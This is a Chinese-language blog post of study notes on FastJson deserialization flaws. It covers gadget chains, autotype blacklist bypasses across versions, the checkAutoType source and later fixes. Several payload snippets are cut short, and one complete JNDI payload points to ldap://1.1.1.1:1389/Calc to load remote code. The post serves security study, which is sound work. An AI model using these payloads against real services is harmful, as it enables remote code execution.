FastJson反序列化总结
摘要:个人学习笔记,记录简略,仅供参考。
0x01 FastJson基本使用与前提知识
FastJson是一款用于对Java对象进行Json格式的序列化/反序列化的第三方库,使用方便。
1 | // 测试用User类 |
1 | // FastJson测试类 |
需要知道以下几点:
- 序列化时增加
SerializerFeature.WriteClassName
会是的序列化的数据多一个@type
属性 - FastJson提供一个名为
autotype
的功能,允许用户在反序列化数据中通过@type
指定反序列化的Class。至于为什么要有autotype,可参看这篇issue - 序列化时FastJson会调用getter方法,private属性且没有getter方法的成员不会被序列化
- 反序列化时,指定了对象的parseObject方法会调用public修饰的setter方法以及构造器
- 反序列化时,Fastjson默认只会反序列化public修饰的属性,需要反序列化private修饰的属性时需要加入Feature.SupportNonPublicField选项
- 反序列化时如果getter方法满足以下条件,parseObject会调用该getter方法:
- 方法名长度大于等于4,且以get开头且第4个字母为大写
- 非静态方法
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
FastJson的漏洞原理:autotype在处理json对象的时候,未对@type字段进行安全验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机或通过其中的恶意类执行代码。
0x02 利用链
TemplateImp链
适用于: FastJason 1.2.22-1.2.24
这条利用链其实可以单独来看,有如下Demo:
1 | import com.alibaba.fastjson.JSON; |
注意text1,构造的各个字段有以下含义:
@type
为可以进行反序列化漏洞利用的恶意类_bytecodes
为恶意类字节码的base64编码,参见上文的注释,该恶意类需要继承自AbstractTransle_name
不能为空,可随意设置字符串_tfactory
应该为TransformerFactoryImpl
对象,因为因为TemplatesImpl#defineTransletClasses()
方法里有调用到_tfactory.getExternalExtensionsMap()
,如果是null会出错。但这段代码在这里可以正常弹计算器,这是由于解析这几个参数的时候,如果发现参数值为空对象,就会新建一个该参数应有的格式的对象实例,将其赋值给该参数_outputProperties
不影响整个代码的执行,但由于其为java.utilProperties
对象而该对象由实现了Map
,因此其getter方法TemplatesImpl#getOutputProperties()
会被调用从而触发反序列化链,而后会导致恶意类被实例化触发恶意代码,如代码中注释
因为parseObject
中需要加入Feature.SupportNonPublicField
,利用条件较为苛刻,实战中难以遇见。
JdbcRowSetImpl
影响范围: fastjson <= 1.2.24
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
不需要设置Feature.SupportNonPublicField
这条链子还是比较简单的,是由于javax.naming.InitialContext#lookup()
参数可控导致的 JNDI 注入。
但是我在本地用了多个版本的符合条件的jdk都没有复现成功,就先不贴代码了。
0x03 FastJson绕过史
1.2.25 <= Fastjson <= 1.2.42
Fastjson1.2.25之后默认关闭autotype,并增加了反序列化黑名单和白名单机制。但是在loadClass
方法中存在逻辑漏洞,使得攻击者可以在类名前面和最后分别加上’L’和’;’的类描述符绕过黑名单:
1 | { |
Fastjson == 1.2.42
做出了两项更新:
明文黑名单更新为Hash黑名单(但这遭到了很多安全研究人员的吐槽,因为没啥意义)。
增加了去除开头’L’和结尾’;’的逻辑
但是并没用,可以直接双写绕过
1 | { |
Fastjson == 1.2.43
- 对双写绕过做出了限制
但是可以用’[‘进行绕过
1 | { |
这个问题在fastjson1.2.44得到了修复
Fastjson < 1.2.46
利用条件: 需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
Payload:
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", |
1.2.46无法执行成功,应该是把该类拉入了黑名单中。
Fastjson == 1.2.47爆出绕过autotype限制的方式
适用于:FastJason 1.2.25-1.2.47
有以下几个要点:
checkAutoType
方法的检测逻辑:1、检测以上所提及的绕过方式,如果存在就爆出异常
2、如果开启了
autotype
: a. 在白名单中搜索需要加载的类,如果白名单中存在就直接加载该类并返回
b. 白名单中不存在该类,则使用黑名单进行匹配,如果黑名单有匹配并且
TypeUtils.mappings
里没有缓存这个类就抛出异常3、第2步都不成立,就尝试在
TypeUtils.mappings
和deserializers
中查找缓存的 class,找到了便直接返回(绕过在这步成立)4、如果没开启
autotype
则先匹配黑名单,在匹配白名单,与第2步逻辑一致5、再后如果还没找到,就使用
TypeUtils.loadClass
尝试加载该类具体参考的代码如下(为@su18师傅的文章中拿出来的):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// 类名非空判断
if (typeName == null) {
return null;
}
// 类名长度判断,不大于128不小于3
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L; //;
final long PRIME = 0x100000001b3L; //L
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
// 类名以 [ 开头抛出异常
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
// 类名以 L 开头以 ; 结尾抛出异常
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
// autoTypeSupport 为 true 时,先对比 acceptHashCodes 加载白名单项
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
// 在对比 denyHashCodes 进行黑名单匹配
// 如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类
// 则抛出异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 尝试在 TypeUtils.mappings 中查找缓存的 class
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
// 尝试在 deserializers 中查找这个类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
// 如果找到了对应的 class,则会进行 return
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
// 如果没有开启 AutoTypeSupport ,则先匹配黑名单,在匹配白名单,与之前逻辑一致
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
// 如果 class 还为空,则使用 TypeUtils.loadClass 尝试加载这个类
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}由第一点可知,可以考虑利用中间的第三步将恶意类写入
TypeUtils.mapping
(这是该绕过的核心点)。其为ConcurrentHashMap
对象,其中的loadClass()
能向mapping
中加入类接着第二点,可以发现
com.alibaba.fastjson.serializer.MiscCodec#deserialize
中调用了ConcurrentHashMap#loadClass
第三点中的
MiscCodec
用于处理Class.class
类而该类也是用于绕过的恶意类第三点中的
deserialize
方法调用loadClass的逻辑是class为Class.class
类时调用
关于该绕过的分析园长-攻击Java Web应用#Fastjson反序列化漏洞
@su18师傅写得文章非常的详细和精彩,包括了以上所有的内容以及为什么Class.class可以在一开始绕过checkAutoType方法的检测(简单来说就是deserializer在初始化的时候就加载了该类因此逻辑不会进入到上文的第三步),可以具体参考。
最后有如下payload:
1 | { |
修复方式:
在1.2.48中MiscCodec处理Class类的地方设置了cache为false(正是由于mappings这个cahce的存在导致了绕过)。
在1.2.68引入了safemode,打开safemode时@type
完全无用,无论白名单和黑名单,都不支持autoType。
Fastjson < 1.2.66
基于黑名单绕过,autoTypeSupport属性为true才能使用,在1.2.25版本之后autoTypeSupport默认为false
1 | {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://1.1.1.1:1389/Calc"} |
Fastjson <= 1.2.68
Throwable
和AutoCloseable
利用expectClass
绕过checkAutoType
。
参考链接
https://jishuin.proginn.com/p/763bfbd71615
园长-攻击Java Web应用#Fastjson反序列化漏洞
- 本文标题:FastJson反序列化总结
- 本文作者:Hn13
- 本文链接:https://www.hn13.top/2022/02/05/FastJson反序列化总结/>
- 发布时间:2022-02-05
- 版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!